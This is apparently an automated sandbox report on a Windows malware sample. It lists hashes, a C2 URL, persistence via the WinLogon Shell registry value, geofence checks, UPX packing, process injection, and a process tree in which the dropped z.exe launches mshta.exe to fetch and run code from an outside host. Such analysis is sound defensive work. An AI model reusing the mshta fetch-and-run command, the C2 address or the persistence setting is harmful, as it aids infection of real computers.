Analysis
-
max time kernel
156s -
max time network
165s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
31-12-2023 06:14
Behavioral task
behavioral1
Sample
2b627f1870515d948d0af33071ce47f5.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2b627f1870515d948d0af33071ce47f5.exe
Resource
win10v2004-20231215-en
General
-
Target
2b627f1870515d948d0af33071ce47f5.exe
-
Size
682KB
-
MD5
2b627f1870515d948d0af33071ce47f5
-
SHA1
85482e3f57f14a4ed3e8fba18da829f6137be974
-
SHA256
b58fb9bd6b55a360da1af08e8aa18752cbdc32525b92658376d1e3bbd5b732d3
-
SHA512
b71d47ec63d32374fd3757389d9f45adc42bf239beafcb534d7805c37b733e3d7343c2972874907f1a009b9660f24b43a540d474e9f9bb236cf6d76573d65ef8
-
SSDEEP
12288:uSJsWPOGw+qY+n5wSHwnltGmmTY4mkGHzc3HGEslGM68LulbZB7nMpGbKw:uSAn5vHewmkGHCH1slGvqul1is2w
Malware Config
Extracted
http://rerererererere.com/inst.php?id=forbidden
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
z.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe" z.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
2b627f1870515d948d0af33071ce47f5.exez.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation 2b627f1870515d948d0af33071ce47f5.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation z.exe -
Executes dropped EXE 1 IoCs
Processes:
z.exepid process 2472 z.exe -
Processes:
resource yara_rule behavioral2/memory/5108-0-0x0000000000400000-0x0000000000502000-memory.dmp upx C:\Users\Admin\AppData\Roaming\z.exe upx behavioral2/memory/5108-16-0x0000000000400000-0x0000000000502000-memory.dmp upx behavioral2/memory/2472-17-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-26-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-27-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-28-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-31-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-32-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-34-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-35-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-36-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-37-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-38-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-39-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-40-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral2/memory/2472-41-0x0000000000400000-0x00000000007FC000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
z.exepid process 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe 2472 z.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
z.exepid process 2472 z.exe 2472 z.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
2b627f1870515d948d0af33071ce47f5.exez.exedescription pid process target process PID 5108 wrote to memory of 2472 5108 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 5108 wrote to memory of 2472 5108 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 5108 wrote to memory of 2472 5108 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 2472 wrote to memory of 920 2472 z.exe mshta.exe PID 2472 wrote to memory of 920 2472 z.exe mshta.exe PID 2472 wrote to memory of 920 2472 z.exe mshta.exe PID 2472 wrote to memory of 844 2472 z.exe cmd.exe PID 2472 wrote to memory of 844 2472 z.exe cmd.exe PID 2472 wrote to memory of 844 2472 z.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2b627f1870515d948d0af33071ce47f5.exe"C:\Users\Admin\AppData\Local\Temp\2b627f1870515d948d0af33071ce47f5.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\z.exe"C:\Users\Admin\AppData\Roaming\z.exe" forbidden2⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\dgfdgsdf.batFilesize
167B
MD5e5a2cf708be039ebe72233673c1f2ac7
SHA1cca4b5f8c08e07779f4eddd7e3c960d7f68078f8
SHA2561f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c
SHA5120d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645
-
C:\Users\Admin\AppData\Roaming\z.exeFilesize
472KB
MD5fc0354f3c145dea029ffb866fc33c965
SHA118af2c23e3e7c29a9aa7ba7dd4bf43670a2bf6d8
SHA2564f2f6262d69f83d872a5b09a68688775d4c01fb56513b6ad054a15d94b5901a1
SHA51209953aa301f53706a9bb30f4cc5c208aaf79917f0081b5ecc7ae2d747a2f6dd75fcc40265d2b04955e5c8ee6a9083a6f4d1725024aed0d1044439da3579092ec
-
memory/2472-29-0x0000000002790000-0x0000000002791000-memory.dmpFilesize
4KB
-
memory/2472-31-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-17-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-18-0x0000000002790000-0x0000000002791000-memory.dmpFilesize
4KB
-
memory/2472-41-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-26-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-27-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-28-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-40-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-39-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-32-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-34-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-35-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-36-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-37-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2472-38-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/5108-16-0x0000000000400000-0x0000000000502000-memory.dmpFilesize
1.0MB
-
memory/5108-0-0x0000000000400000-0x0000000000502000-memory.dmpFilesize
1.0MB
-
memory/5108-2-0x0000000000B10000-0x0000000000B11000-memory.dmpFilesize
4KB